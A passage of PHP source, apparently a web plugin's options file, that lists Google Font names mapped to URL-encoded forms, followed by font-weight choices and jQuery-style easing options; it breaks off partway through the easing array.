'Basic' => 'Basic',
'Battambang' => 'Battambang',
'Baumans' => 'Baumans',
'Bayon' => 'Bayon',
'Belgrano' => 'Belgrano',
'Bellefair' => 'Bellefair',
'Belleza' => 'Belleza',
'BenchNine' => 'BenchNine',
'Bentham' => 'Bentham',
'Berkshire Swash' => 'Berkshire+Swash',
'Bevan' => 'Bevan',
'Bigelow Rules' => 'Bigelow+Rules',
'Bigshot One' => 'Bigshot+One',
'Bilbo' => 'Bilbo',
'Bilbo Swash Caps' => 'Bilbo+Swash+Caps',
'BioRhyme' => 'BioRhyme',
'BioRhyme Expanded' => 'BioRhyme+Expanded',
'Biryani' => 'Biryani',
'Bitter' => 'Bitter',
'Black Ops One' => 'Black+Ops+One',
'Bokor' => 'Bokor',
'Bonbon' => 'Bonbon',
'Boogaloo' => 'Boogaloo',
'Bowlby One' => 'Bowlby+One',
'Bowlby One SC' => 'Bowlby+One+SC',
'Brawler' => 'Brawler',
'Bree Serif' => 'Bree+Serif',
'Bubblegum Sans' => 'Bubblegum+Sans',
'Bubbler One' => 'Bubbler+One',
'Buda' => 'Buda',
'Buenard' => 'Buenard',
'Bungee' => 'Bungee',
'Bungee Hairline' => 'Bungee+Hairline',
'Bungee Inline' => 'Bungee+Inline',
'Bungee Outline' => 'Bungee+Outline',
'Bungee Shade' => 'Bungee+Shade',
'Butcherman' => 'Butcherman',
'Butterfly Kids' => 'Butterfly+Kids',
'Cabin' => 'Cabin',
'Cabin Condensed' => 'Cabin+Condensed',
'Cabin Sketch' => 'Cabin+Sketch',
'Caesar Dressing' => 'Caesar+Dressing',
'Cagliostro' => 'Cagliostro',
'Cairo' => 'Cairo',
'Calligraffitti' => 'Calligraffitti',
'Cambay' => 'Cambay',
'Cambo' => 'Cambo',
'Candal' => 'Candal',
'Cantarell' => 'Cantarell',
'Cantata One' => 'Cantata+One',
'Cantora One' => 'Cantora+One',
'Capriola' => 'Capriola',
'Cardo' => 'Cardo',
'Carme' => 'Carme',
'Carrois Gothic' => 'Carrois+Gothic',
'Carrois Gothic SC' => 'Carrois+Gothic+SC',
'Carter One' => 'Carter+One',
'Catamaran' => 'Catamaran',
'Caudex' => 'Caudex',
'Caveat' => 'Caveat',
'Caveat Brush' => 'Caveat+Brush',
'Cedarville Cursive' => 'Cedarville+Cursive',
'Ceviche One' => 'Ceviche+One',
'Changa' => 'Changa',
'Changa One' => 'Changa+One',
'Chango' => 'Chango',
'Chathura' => 'Chathura',
'Chau Philomene One' => 'Chau+Philomene+One',
'Chela One' => 'Chela+One',
'Chelsea Market' => 'Chelsea+Market',
'Chenla' => 'Chenla',
'Cherry Cream Soda' => 'Cherry+Cream+Soda',
'Cherry Swash' => 'Cherry+Swash',
'Chewy' => 'Chewy',
'Chicle' => 'Chicle',
'Chivo' => 'Chivo',
'Chonburi' => 'Chonburi',
'Cinzel' => 'Cinzel',
'Cinzel Decorative' => 'Cinzel+Decorative',
'Clicker Script' => 'Clicker+Script',
'Coda' => 'Coda',
'Coda Caption' => 'Coda+Caption',
'Codystar' => 'Codystar',
'Coiny' => 'Coiny',
'Combo' => 'Combo',
'Comfortaa' => 'Comfortaa',
'Coming Soon' => 'Coming+Soon',
'Concert One' => 'Concert+One',
'Condiment' => 'Condiment',
'Content' => 'Content',
'Contrail One' => 'Contrail+One',
'Convergence' => 'Convergence',
'Cookie' => 'Cookie',
'Copse' => 'Copse',
'Corben' => 'Corben',
'Cormorant' => 'Cormorant',
'Cormorant Garamond' => 'Cormorant+Garamond',
'Cormorant Infant' => 'Cormorant+Infant',
'Cormorant SC' => 'Cormorant+SC',
'Cormorant Unicase' => 'Cormorant+Unicase',
'Cormorant Upright' => 'Cormorant+Upright',
'Courgette' => 'Courgette',
'Cousine' => 'Cousine',
'Coustard' => 'Coustard',
'Covered By Your Grace' => 'Covered+By+Your+Grace',
'Crafty Girls' => 'Crafty+Girls',
'Creepster' => 'Creepster',
'Crete Round' => 'Crete+Round',
'Crimson Text' => 'Crimson+Text',
'Croissant One' => 'Croissant+One',
'Crushed' => 'Crushed',
'Cuprum' => 'Cuprum',
'Cutive' => 'Cutive',
'Cutive Mono' => 'Cutive+Mono',
'Damion' => 'Damion',
'Dancing Script' => 'Dancing+Script',
'Dangrek' => 'Dangrek',
'David Libre' => 'David+Libre',
'Dawning of a New Day' => 'Dawning+of+a+New+Day',
'Days One' => 'Days+One',
'Dekko' => 'Dekko',
'Delius' => 'Delius',
'Delius Swash Caps' => 'Delius+Swash+Caps',
'Delius Unicase' => 'Delius+Unicase',
'Della Respira' => 'Della+Respira',
'Denk One' => 'Denk+One',
'Devonshire' => 'Devonshire',
'Dhurjati' => 'Dhurjati',
'Didact Gothic' => 'Didact+Gothic',
'Diplomata' => 'Diplomata',
'Diplomata SC' => 'Diplomata+SC',
'Domine' => 'Domine',
'Donegal One' => 'Donegal+One',
'Doppio One' => 'Doppio+One',
'Dorsa' => 'Dorsa',
'Dosis' => 'Dosis',
'Dr Sugiyama' => 'Dr+Sugiyama',
'Duru Sans' => 'Duru+Sans',
'Dynalight' => 'Dynalight',
'EB Garamond' => 'EB+Garamond',
'Eagle Lake' => 'Eagle+Lake',
'Eater' => 'Eater',
'Economica' => 'Economica',
'Eczar' => 'Eczar',
'El Messiri' => 'El+Messiri',
'Electrolize' => 'Electrolize',
'Elsie' => 'Elsie',
'Elsie Swash Caps' => 'Elsie+Swash+Caps',
'Emblema One' => 'Emblema+One',
'Emilys Candy' => 'Emilys+Candy',
'Encode Sans' => 'Encode+Sans',
'Encode Sans Condensed' => 'Encode+Sans+Condensed',
'Encode Sans Expanded' => 'Encode+Sans+Expanded',
'Encode Sans Semi Condensed' => 'Encode+Sans+Semi+Condensed',
'Encode Sans Semi Expanded' => 'Encode+Sans+Semi+Expanded',
'Engagement' => 'Engagement',
'Englebert' => 'Englebert',
'Enriqueta' => 'Enriqueta',
'Erica One' => 'Erica+One',
'Esteban' => 'Esteban',
'Euphoria Script' => 'Euphoria+Script',
'Ewert' => 'Ewert',
'Exo' => 'Exo',
'Exo 2' => 'Exo+2',
'Expletus Sans' => 'Expletus+Sans',
'Fanwood Text' => 'Fanwood+Text',
'Farsan' => 'Farsan',
'Fascinate' => 'Fascinate',
'Fascinate Inline' => 'Fascinate+Inline',
'Faster One' => 'Faster+One',
'Fasthand' => 'Fasthand',
'Fauna One' => 'Fauna+One',
'Faustina' => 'Faustina',
'Federant' => 'Federant',
'Federo' => 'Federo',
'Felipa' => 'Felipa',
'Fenix' => 'Fenix',
'Finger Paint' => 'Finger+Paint',
'Fira Mono' => 'Fira+Mono',
'Fira Sans' => 'Fira+Sans',
'Fira Sans Condensed' => 'Fira+Sans+Condensed',
'Fira Sans Extra Condensed' => 'Fira+Sans+Extra+Condensed',
'Fjalla One' => 'Fjalla+One',
'Fjord One' => 'Fjord+One',
'Flamenco' => 'Flamenco',
'Flavors' => 'Flavors',
'Fondamento' => 'Fondamento',
'Fontdiner Swanky' => 'Fontdiner+Swanky',
'Forum' => 'Forum',
'Francois One' => 'Francois+One',
'Frank Ruhl Libre' => 'Frank+Ruhl+Libre',
'Freckle Face' => 'Freckle+Face',
'Fredericka the Great' => 'Fredericka+the+Great',
'Fredoka One' => 'Fredoka+One',
'Freehand' => 'Freehand',
'Fresca' => 'Fresca',
'Frijole' => 'Frijole',
'Fruktur' => 'Fruktur',
'Fugaz One' => 'Fugaz+One',
'GFS Didot' => 'GFS+Didot',
'GFS Neohellenic' => 'GFS+Neohellenic',
'Gabriela' => 'Gabriela',
'Gafata' => 'Gafata',
'Galada' => 'Galada',
'Galdeano' => 'Galdeano',
'Galindo' => 'Galindo',
'Gentium Basic' => 'Gentium+Basic',
'Gentium Book Basic' => 'Gentium+Book+Basic',
'Geo' => 'Geo',
'Geostar' => 'Geostar',
'Geostar Fill' => 'Geostar+Fill',
'Germania One' => 'Germania+One',
'Gidugu' => 'Gidugu',
'Gilda Display' => 'Gilda+Display',
'Give You Glory' => 'Give+You+Glory',
'Glass Antiqua' => 'Glass+Antiqua',
'Glegoo' => 'Glegoo',
'Gloria Hallelujah' => 'Gloria+Hallelujah',
'Goblin One' => 'Goblin+One',
'Gochi Hand' => 'Gochi+Hand',
'Gorditas' => 'Gorditas',
'Goudy Bookletter 1911' => 'Goudy+Bookletter+1911',
'Graduate' => 'Graduate',
'Grand Hotel' => 'Grand+Hotel',
'Gravitas One' => 'Gravitas+One',
'Great Vibes' => 'Great+Vibes',
'Griffy' => 'Griffy',
'Gruppo' => 'Gruppo',
'Gudea' => 'Gudea',
'Gurajada' => 'Gurajada',
'Habibi' => 'Habibi',
'Halant' => 'Halant',
'Hammersmith One' => 'Hammersmith+One',
'Hanalei' => 'Hanalei',
'Hanalei Fill' => 'Hanalei+Fill',
'Handlee' => 'Handlee',
'Hanuman' => 'Hanuman',
'Happy Monkey' => 'Happy+Monkey',
'Harmattan' => 'Harmattan',
'Headland One' => 'Headland+One',
'Heebo' => 'Heebo',
'Henny Penny' => 'Henny+Penny',
'Herr Von Muellerhoff' => 'Herr+Von+Muellerhoff',
'Hind' => 'Hind',
'Hind Guntur' => 'Hind+Guntur',
'Hind Madurai' => 'Hind+Madurai',
'Hind Siliguri' => 'Hind+Siliguri',
'Hind Vadodara' => 'Hind+Vadodara',
'Holtwood One SC' => 'Holtwood+One+SC',
'Homemade Apple' => 'Homemade+Apple',
'Homenaje' => 'Homenaje',
'IM Fell DW Pica' => 'IM+Fell+DW+Pica',
'IM Fell DW Pica SC' => 'IM+Fell+DW+Pica+SC',
'IM Fell Double Pica' => 'IM+Fell+Double+Pica',
'IM Fell Double Pica SC' => 'IM+Fell+Double+Pica+SC',
'IM Fell English' => 'IM+Fell+English',
'IM Fell English SC' => 'IM+Fell+English+SC',
'IM Fell French Canon' => 'IM+Fell+French+Canon',
'IM Fell French Canon SC' => 'IM+Fell+French+Canon+SC',
'IM Fell Great Primer' => 'IM+Fell+Great+Primer',
'IM Fell Great Primer SC' => 'IM+Fell+Great+Primer+SC',
'Iceberg' => 'Iceberg',
'Iceland' => 'Iceland',
'Imprima' => 'Imprima',
'Inconsolata' => 'Inconsolata',
'Inder' => 'Inder',
'Indie Flower' => 'Indie+Flower',
'Inika' => 'Inika',
'Inknut Antiqua' => 'Inknut+Antiqua',
'Irish Grover' => 'Irish+Grover',
'Istok Web' => 'Istok+Web',
'Italiana' => 'Italiana',
'Italianno' => 'Italianno',
'Itim' => 'Itim',
'Jacques Francois' => 'Jacques+Francois',
'Jacques Francois Shadow' => 'Jacques+Francois+Shadow',
'Jaldi' => 'Jaldi',
'Jim Nightshade' => 'Jim+Nightshade',
'Jockey One' => 'Jockey+One',
'Jolly Lodger' => 'Jolly+Lodger',
'Jomhuria' => 'Jomhuria',
'Josefin Sans' => 'Josefin+Sans',
'Josefin Slab' => 'Josefin+Slab',
'Joti One' => 'Joti+One',
'Judson' => 'Judson',
'Julee' => 'Julee',
'Julius Sans One' => 'Julius+Sans+One',
'Junge' => 'Junge',
'Jura' => 'Jura',
'Just Another Hand' => 'Just+Another+Hand',
'Just Me Again Down Here' => 'Just+Me+Again+Down+Here',
'Kadwa' => 'Kadwa',
'Kalam' => 'Kalam',
'Kameron' => 'Kameron',
'Kanit' => 'Kanit',
'Kantumruy' => 'Kantumruy',
'Karla' => 'Karla',
'Karma' => 'Karma',
'Katibeh' => 'Katibeh',
'Kaushan Script' => 'Kaushan+Script',
'Kavivanar' => 'Kavivanar',
'Kavoon' => 'Kavoon',
'Kdam Thmor' => 'Kdam+Thmor',
'Keania One' => 'Keania+One',
'Kelly Slab' => 'Kelly+Slab',
'Kenia' => 'Kenia',
'Khand' => 'Khand',
'Khmer' => 'Khmer',
'Khula' => 'Khula',
'Kite One' => 'Kite+One',
'Knewave' => 'Knewave',
'Kotta One' => 'Kotta+One',
'Koulen' => 'Koulen',
'Kranky' => 'Kranky',
'Kreon' => 'Kreon',
'Kristi' => 'Kristi',
'Krona One' => 'Krona+One',
'Kumar One' => 'Kumar+One',
'Kumar One Outline' => 'Kumar+One+Outline',
'Kurale' => 'Kurale',
'La Belle Aurore' => 'La+Belle+Aurore',
'Laila' => 'Laila',
'Lakki Reddy' => 'Lakki+Reddy',
'Lalezar' => 'Lalezar',
'Lancelot' => 'Lancelot',
'Lateef' => 'Lateef',
'Lato' => 'Lato',
'League Script' => 'League+Script',
'Leckerli One' => 'Leckerli+One',
'Ledger' => 'Ledger',
'Lekton' => 'Lekton',
'Lemon' => 'Lemon',
'Lemonada' => 'Lemonada',
'Libre Barcode 128' => 'Libre+Barcode+128',
'Libre Barcode 128 Text' => 'Libre+Barcode+128+Text',
'Libre Barcode 39' => 'Libre+Barcode+39',
'Libre Barcode 39 Extended' => 'Libre+Barcode+39+Extended',
'Libre Barcode 39 Extended Text' => 'Libre+Barcode+39+Extended+Text',
'Libre Barcode 39 Text' => 'Libre+Barcode+39+Text',
'Libre Baskerville' => 'Libre+Baskerville',
'Libre Franklin' => 'Libre+Franklin',
'Life Savers' => 'Life+Savers',
'Lilita One' => 'Lilita+One',
'Lily Script One' => 'Lily+Script+One',
'Limelight' => 'Limelight',
'Linden Hill' => 'Linden+Hill',
'Lobster' => 'Lobster',
'Lobster Two' => 'Lobster+Two',
'Londrina Outline' => 'Londrina+Outline',
'Londrina Shadow' => 'Londrina+Shadow',
'Londrina Sketch' => 'Londrina+Sketch',
'Londrina Solid' => 'Londrina+Solid',
'Lora' => 'Lora',
'Love Ya Like A Sister' => 'Love+Ya+Like+A+Sister',
'Loved by the King' => 'Loved+by+the+King',
'Lovers Quarrel' => 'Lovers+Quarrel',
'Luckiest Guy' => 'Luckiest+Guy',
'Lusitana' => 'Lusitana',
'Lustria' => 'Lustria',
'Macondo' => 'Macondo',
'Macondo Swash Caps' => 'Macondo+Swash+Caps',
'Mada' => 'Mada',
'Magra' => 'Magra',
'Maiden Orange' => 'Maiden+Orange',
'Maitree' => 'Maitree',
'Mako' => 'Mako',
'Mallanna' => 'Mallanna',
'Mandali' => 'Mandali',
'Manuale' => 'Manuale',
'Marcellus' => 'Marcellus',
'Marcellus SC' => 'Marcellus+SC',
'Marck Script' => 'Marck+Script',
'Margarine' => 'Margarine',
'Marko One' => 'Marko+One',
'Marmelad' => 'Marmelad',
'Martel' => 'Martel',
'Martel Sans' => 'Martel+Sans',
'Marvel' => 'Marvel',
'Mate' => 'Mate',
'Mate SC' => 'Mate+SC',
'Maven Pro' => 'Maven+Pro',
'McLaren' => 'McLaren',
'Meddon' => 'Meddon',
'MedievalSharp' => 'MedievalSharp',
'Medula One' => 'Medula+One',
'Meera Inimai' => 'Meera+Inimai',
'Megrim' => 'Megrim',
'Meie Script' => 'Meie+Script',
'Merienda' => 'Merienda',
'Merienda One' => 'Merienda+One',
'Merriweather' => 'Merriweather',
'Merriweather Sans' => 'Merriweather+Sans',
'Metal' => 'Metal',
'Metal Mania' => 'Metal+Mania',
'Metamorphous' => 'Metamorphous',
'Metrophobic' => 'Metrophobic',
'Michroma' => 'Michroma',
'Milonga' => 'Milonga',
'Miltonian' => 'Miltonian',
'Miltonian Tattoo' => 'Miltonian+Tattoo',
'Miniver' => 'Miniver',
'Miriam Libre' => 'Miriam+Libre',
'Mirza' => 'Mirza',
'Miss Fajardose' => 'Miss+Fajardose',
'Mitr' => 'Mitr',
'Modak' => 'Modak',
'Modern Antiqua' => 'Modern+Antiqua',
'Mogra' => 'Mogra',
'Molengo' => 'Molengo',
'Molle' => 'Molle',
'Monda' => 'Monda',
'Monofett' => 'Monofett',
'Monoton' => 'Monoton',
'Monsieur La Doulaise' => 'Monsieur+La+Doulaise',
'Montaga' => 'Montaga',
'Montez' => 'Montez',
'Montserrat' => 'Montserrat',
'Montserrat Alternates' => 'Montserrat+Alternates',
'Montserrat Subrayada' => 'Montserrat+Subrayada',
'Moul' => 'Moul',
'Moulpali' => 'Moulpali',
'Mountains of Christmas' => 'Mountains+of+Christmas',
'Mouse Memoirs' => 'Mouse+Memoirs',
'Mr Bedfort' => 'Mr+Bedfort',
'Mr Dafoe' => 'Mr+Dafoe',
'Mr De Haviland' => 'Mr+De+Haviland',
'Mrs Saint Delafield' => 'Mrs+Saint+Delafield',
'Mrs Sheppards' => 'Mrs+Sheppards',
'Mukta' => 'Mukta',
'Mukta Mahee' => 'Mukta+Mahee',
'Mukta Malar' => 'Mukta+Malar',
'Mukta Vaani' => 'Mukta+Vaani',
'Muli' => 'Muli',
'Mystery Quest' => 'Mystery+Quest',
'NTR' => 'NTR',
'Neucha' => 'Neucha',
'Neuton' => 'Neuton',
'New Rocker' => 'New+Rocker',
'News Cycle' => 'News+Cycle',
'Niconne' => 'Niconne',
'Nixie One' => 'Nixie+One',
'Nobile' => 'Nobile',
'Nokora' => 'Nokora',
'Norican' => 'Norican',
'Nosifer' => 'Nosifer',
'Nothing You Could Do' => 'Nothing+You+Could+Do',
'Noticia Text' => 'Noticia+Text',
'Noto Sans' => 'Noto+Sans',
'Noto Serif' => 'Noto+Serif',
'Nova Cut' => 'Nova+Cut',
'Nova Flat' => 'Nova+Flat',
'Nova Mono' => 'Nova+Mono',
'Nova Oval' => 'Nova+Oval',
'Nova Round' => 'Nova+Round',
'Nova Script' => 'Nova+Script',
'Nova Slim' => 'Nova+Slim',
'Nova Square' => 'Nova+Square',
'Numans' => 'Numans',
'Nunito' => 'Nunito',
'Nunito Sans' => 'Nunito+Sans',
'Odor Mean Chey' => 'Odor+Mean+Chey',
'Offside' => 'Offside',
'Old Standard TT' => 'Old+Standard+TT',
'Oldenburg' => 'Oldenburg',
'Oleo Script' => 'Oleo+Script',
'Oleo Script Swash Caps' => 'Oleo+Script+Swash+Caps',
'Open Sans' => 'Open+Sans',
'Open Sans Condensed' => 'Open+Sans+Condensed',
'Oranienbaum' => 'Oranienbaum',
'Orbitron' => 'Orbitron',
'Oregano' => 'Oregano',
'Orienta' => 'Orienta',
'Original Surfer' => 'Original+Surfer',
'Oswald' => 'Oswald',
'Over the Rainbow' => 'Over+the+Rainbow',
'Overlock' => 'Overlock',
'Overlock SC' => 'Overlock+SC',
'Overpass' => 'Overpass',
'Overpass Mono' => 'Overpass+Mono',
'Ovo' => 'Ovo',
'Oxygen' => 'Oxygen',
'Oxygen Mono' => 'Oxygen+Mono',
'PT Mono' => 'PT+Mono',
'PT Sans' => 'PT+Sans',
'PT Sans Caption' => 'PT+Sans+Caption',
'PT Sans Narrow' => 'PT+Sans+Narrow',
'PT Serif' => 'PT+Serif',
'PT Serif Caption' => 'PT+Serif+Caption',
'Pacifico' => 'Pacifico',
'Padauk' => 'Padauk',
'Palanquin' => 'Palanquin',
'Palanquin Dark' => 'Palanquin+Dark',
'Pangolin' => 'Pangolin',
'Paprika' => 'Paprika',
'Parisienne' => 'Parisienne',
'Passero One' => 'Passero+One',
'Passion One' => 'Passion+One',
'Pathway Gothic One' => 'Pathway+Gothic+One',
'Patrick Hand' => 'Patrick+Hand',
'Patrick Hand SC' => 'Patrick+Hand+SC',
'Pattaya' => 'Pattaya',
'Patua One' => 'Patua+One',
'Pavanam' => 'Pavanam',
'Paytone One' => 'Paytone+One',
'Peddana' => 'Peddana',
'Peralta' => 'Peralta',
'Permanent Marker' => 'Permanent+Marker',
'Petit Formal Script' => 'Petit+Formal+Script',
'Petrona' => 'Petrona',
'Philosopher' => 'Philosopher',
'Piedra' => 'Piedra',
'Pinyon Script' => 'Pinyon+Script',
'Pirata One' => 'Pirata+One',
'Plaster' => 'Plaster',
'Play' => 'Play',
'Playball' => 'Playball',
'Playfair Display' => 'Playfair+Display',
'Playfair Display SC' => 'Playfair+Display+SC',
'Podkova' => 'Podkova',
'Poiret One' => 'Poiret+One',
'Poller One' => 'Poller+One',
'Poly' => 'Poly',
'Pompiere' => 'Pompiere',
'Pontano Sans' => 'Pontano+Sans',
'Poppins' => 'Poppins',
'Port Lligat Sans' => 'Port+Lligat+Sans',
'Port Lligat Slab' => 'Port+Lligat+Slab',
'Pragati Narrow' => 'Pragati+Narrow',
'Prata' => 'Prata',
'Preahvihear' => 'Preahvihear',
'Press Start 2P' => 'Press+Start+2P',
'Pridi' => 'Pridi',
'Princess Sofia' => 'Princess+Sofia',
'Prociono' => 'Prociono',
'Prompt' => 'Prompt',
'Prosto One' => 'Prosto+One',
'Proza Libre' => 'Proza+Libre',
'Puritan' => 'Puritan',
'Purple Purse' => 'Purple+Purse',
'Quando' => 'Quando',
'Quantico' => 'Quantico',
'Quattrocento' => 'Quattrocento',
'Quattrocento Sans' => 'Quattrocento+Sans',
'Questrial' => 'Questrial',
'Quicksand' => 'Quicksand',
'Quintessential' => 'Quintessential',
'Qwigley' => 'Qwigley',
'Racing Sans One' => 'Racing+Sans+One',
'Radley' => 'Radley',
'Rajdhani' => 'Rajdhani',
'Rakkas' => 'Rakkas',
'Raleway' => 'Raleway',
'Raleway Dots' => 'Raleway+Dots',
'Ramabhadra' => 'Ramabhadra',
'Ramaraja' => 'Ramaraja',
'Rambla' => 'Rambla',
'Rammetto One' => 'Rammetto+One',
'Ranchers' => 'Ranchers',
'Rancho' => 'Rancho',
'Ranga' => 'Ranga',
'Rasa' => 'Rasa',
'Rationale' => 'Rationale',
'Ravi Prakash' => 'Ravi+Prakash',
'Redressed' => 'Redressed',
'Reem Kufi' => 'Reem+Kufi',
'Reenie Beanie' => 'Reenie+Beanie',
'Revalia' => 'Revalia',
'Rhodium Libre' => 'Rhodium+Libre',
'Ribeye' => 'Ribeye',
'Ribeye Marrow' => 'Ribeye+Marrow',
'Righteous' => 'Righteous',
'Risque' => 'Risque',
'Roboto' => 'Roboto',
'Roboto Condensed' => 'Roboto+Condensed',
'Roboto Mono' => 'Roboto+Mono',
'Roboto Slab' => 'Roboto+Slab',
'Rochester' => 'Rochester',
'Rock Salt' => 'Rock+Salt',
'Rokkitt' => 'Rokkitt',
'Romanesco' => 'Romanesco',
'Ropa Sans' => 'Ropa+Sans',
'Rosario' => 'Rosario',
'Rosarivo' => 'Rosarivo',
'Rouge Script' => 'Rouge+Script',
'Rozha One' => 'Rozha+One',
'Rubik' => 'Rubik',
'Rubik Mono One' => 'Rubik+Mono+One',
'Ruda' => 'Ruda',
'Rufina' => 'Rufina',
'Ruge Boogie' => 'Ruge+Boogie',
'Ruluko' => 'Ruluko',
'Rum Raisin' => 'Rum+Raisin',
'Ruslan Display' => 'Ruslan+Display',
'Russo One' => 'Russo+One',
'Ruthie' => 'Ruthie',
'Rye' => 'Rye',
'Sacramento' => 'Sacramento',
'Sahitya' => 'Sahitya',
'Sail' => 'Sail',
'Saira' => 'Saira',
'Saira Condensed' => 'Saira+Condensed',
'Saira Extra Condensed' => 'Saira+Extra+Condensed',
'Saira Semi Condensed' => 'Saira+Semi+Condensed',
'Salsa' => 'Salsa',
'Sanchez' => 'Sanchez',
'Sancreek' => 'Sancreek',
'Sansita' => 'Sansita',
'Sarala' => 'Sarala',
'Sarina' => 'Sarina',
'Sarpanch' => 'Sarpanch',
'Satisfy' => 'Satisfy',
'Scada' => 'Scada',
'Scheherazade' => 'Scheherazade',
'Schoolbell' => 'Schoolbell',
'Scope One' => 'Scope+One',
'Seaweed Script' => 'Seaweed+Script',
'Secular One' => 'Secular+One',
'Sedgwick Ave' => 'Sedgwick+Ave',
'Sedgwick Ave Display' => 'Sedgwick+Ave+Display',
'Sevillana' => 'Sevillana',
'Seymour One' => 'Seymour+One',
'Shadows Into Light' => 'Shadows+Into+Light',
'Shadows Into Light Two' => 'Shadows+Into+Light+Two',
'Shanti' => 'Shanti',
'Share' => 'Share',
'Share Tech' => 'Share+Tech',
'Share Tech Mono' => 'Share+Tech+Mono',
'Shojumaru' => 'Shojumaru',
'Short Stack' => 'Short+Stack',
'Shrikhand' => 'Shrikhand',
'Siemreap' => 'Siemreap',
'Sigmar One' => 'Sigmar+One',
'Signika' => 'Signika',
'Signika Negative' => 'Signika+Negative',
'Simonetta' => 'Simonetta',
'Sintony' => 'Sintony',
'Sirin Stencil' => 'Sirin+Stencil',
'Six Caps' => 'Six+Caps',
'Skranji' => 'Skranji',
'Slabo 13px' => 'Slabo+13px',
'Slabo 27px' => 'Slabo+27px',
'Slackey' => 'Slackey',
'Smokum' => 'Smokum',
'Smythe' => 'Smythe',
'Sniglet' => 'Sniglet',
'Snippet' => 'Snippet',
'Snowburst One' => 'Snowburst+One',
'Sofadi One' => 'Sofadi+One',
'Sofia' => 'Sofia',
'Sonsie One' => 'Sonsie+One',
'Sorts Mill Goudy' => 'Sorts+Mill+Goudy',
'Source Code Pro' => 'Source+Code+Pro',
'Source Sans Pro' => 'Source+Sans+Pro',
'Source Serif Pro' => 'Source+Serif+Pro',
'Space Mono' => 'Space+Mono',
'Special Elite' => 'Special+Elite',
'Spectral' => 'Spectral',
'Spectral SC' => 'Spectral+SC',
'Spicy Rice' => 'Spicy+Rice',
'Spinnaker' => 'Spinnaker',
'Spirax' => 'Spirax',
'Squada One' => 'Squada+One',
'Sree Krushnadevaraya' => 'Sree+Krushnadevaraya',
'Sriracha' => 'Sriracha',
'Stalemate' => 'Stalemate',
'Stalinist One' => 'Stalinist+One',
'Stardos Stencil' => 'Stardos+Stencil',
'Stint Ultra Condensed' => 'Stint+Ultra+Condensed',
'Stint Ultra Expanded' => 'Stint+Ultra+Expanded',
'Stoke' => 'Stoke',
'Steagal' => 'Steagal',
'Strait' => 'Strait',
'Sue Ellen Francisco' => 'Sue+Ellen+Francisco',
'Suez One' => 'Suez+One',
'Sumana' => 'Sumana',
'Sunshiney' => 'Sunshiney',
'Supermercado One' => 'Supermercado+One',
'Sura' => 'Sura',
'Suranna' => 'Suranna',
'Suravaram' => 'Suravaram',
'Suwannaphum' => 'Suwannaphum',
'Swanky and Moo Moo' => 'Swanky+and+Moo+Moo',
'Syncopate' => 'Syncopate',
'Tangerine' => 'Tangerine',
'Taprom' => 'Taprom',
'Tauri' => 'Tauri',
'Taviraj' => 'Taviraj',
'Teko' => 'Teko',
'Telex' => 'Telex',
'Tenali Ramakrishna' => 'Tenali+Ramakrishna',
'Tenor Sans' => 'Tenor+Sans',
'Text Me One' => 'Text+Me+One',
'The Girl Next Door' => 'The+Girl+Next+Door',
'Tienne' => 'Tienne',
'Tillana' => 'Tillana',
'Timmana' => 'Timmana',
'Tinos' => 'Tinos',
'Titan One' => 'Titan+One',
'Titillium Web' => 'Titillium+Web',
'Trade Winds' => 'Trade+Winds',
'Trirong' => 'Trirong',
'Trocchi' => 'Trocchi',
'Trochut' => 'Trochut',
'Trykker' => 'Trykker',
'Tulpen One' => 'Tulpen+One',
'Ubuntu' => 'Ubuntu',
'Ubuntu Condensed' => 'Ubuntu+Condensed',
'Ubuntu Mono' => 'Ubuntu+Mono',
'Ultra' => 'Ultra',
'Uncial Antiqua' => 'Uncial+Antiqua',
'Underdog' => 'Underdog',
'Unica One' => 'Unica+One',
'UnifrakturCook' => 'UnifrakturCook',
'UnifrakturMaguntia' => 'UnifrakturMaguntia',
'Unkempt' => 'Unkempt',
'Unlock' => 'Unlock',
'Unna' => 'Unna',
'VT323' => 'VT323',
'Vampiro One' => 'Vampiro+One',
'Varela' => 'Varela',
'Varela Round' => 'Varela+Round',
'Vast Shadow' => 'Vast+Shadow',
'Vesper Libre' => 'Vesper+Libre',
'Vibur' => 'Vibur',
'Vidaloka' => 'Vidaloka',
'Viga' => 'Viga',
'Voces' => 'Voces',
'Volkhov' => 'Volkhov',
'Vollkorn' => 'Vollkorn',
'Vollkorn SC' => 'Vollkorn+SC',
'Voltaire' => 'Voltaire',
'Waiting for the Sunrise' => 'Waiting+for+the+Sunrise',
'Wallpoet' => 'Wallpoet',
'Walter Turncoat' => 'Walter+Turncoat',
'Warnes' => 'Warnes',
'Wellfleet' => 'Wellfleet',
'Wendy One' => 'Wendy+One',
'Wire One' => 'Wire+One',
'Work Sans' => 'Work+Sans',
'Yanone Kaffeesatz' => 'Yanone+Kaffeesatz',
'Yantramanav' => 'Yantramanav',
'Yatra One' => 'Yatra+One',
'Yellowtail' => 'Yellowtail',
'Yeseva One' => 'Yeseva+One',
'Yesteryear' => 'Yesteryear',
'Yrsa' => 'Yrsa',
'Zeyada' => 'Zeyada',
'Zilla Slab' => 'Zilla+Slab',
'Zilla Slab Highlight' => 'Zilla+Slab+Highlight',
'customFont' => 'Custom font'
);
$btnFontWeight = array(
'normal' => 'Normal',
'bold' => 'Bold',
'bolder' => 'Bolder',
'900' => '900',
'800' => '800',
'700' => '700',
'600' => '600',
'500' => '500',
'400' => '400',
'300' => '300',
'200' => '200',
'100' => '100',
'initial' => 'Initial',
'inherit' => 'Inherit',
);
$easings = array(
'linear' => 'Linear',
'swing' => 'Swing',
'easeInQuad' => 'Ease In Quad',
'easeOutQuad' => 'Ease Out Quad',
'easeInOutQuad' => 'Ease In Out Quad',
'easeInCubic' => 'Ease In Cubic',
'easeOutCubic' => 'Ease Out Cubic',
'easeInOutCubic' => 'Ease In Out Cubic',
'easeInQuart' => 'Ease In Quart',
'easeOutQuart' => 'Ease Out Quart',
'easeInOutQuart' => 'Ease In Out Quart',
'easeInQuint' => 'Ease In Quint',
'easeOutQuint' => 'Ease Out Quint',
'easeInOutQuint' => 'Ease In Out Quint',
'easeInExpo' => 'Ease In Expo',
'easeOutExpo' => 'Ease Out Expo',
'easeInOutExpo' => 'Ease In Out Expo',
'easeInSine' => 'Ease In Sine',
'easeOutSine' => 'Ease Out Sine',
'easeInOutSine' => 'Ease In Out Sine',
'easeInCirc' => 'Ease In Circ',
'easeOutCirc' => 'Ease Out Circ',
'easeInOutCirc' => 'Ease In Out Circ',
'easeInElastic' => 'Ease In Elastic',
'easeOutElastic' => 'Ease Out Elastic',
'easeInOutElastic' => 'Ease In Out Elastic',
'easeInBack' => 'Ease In Back',
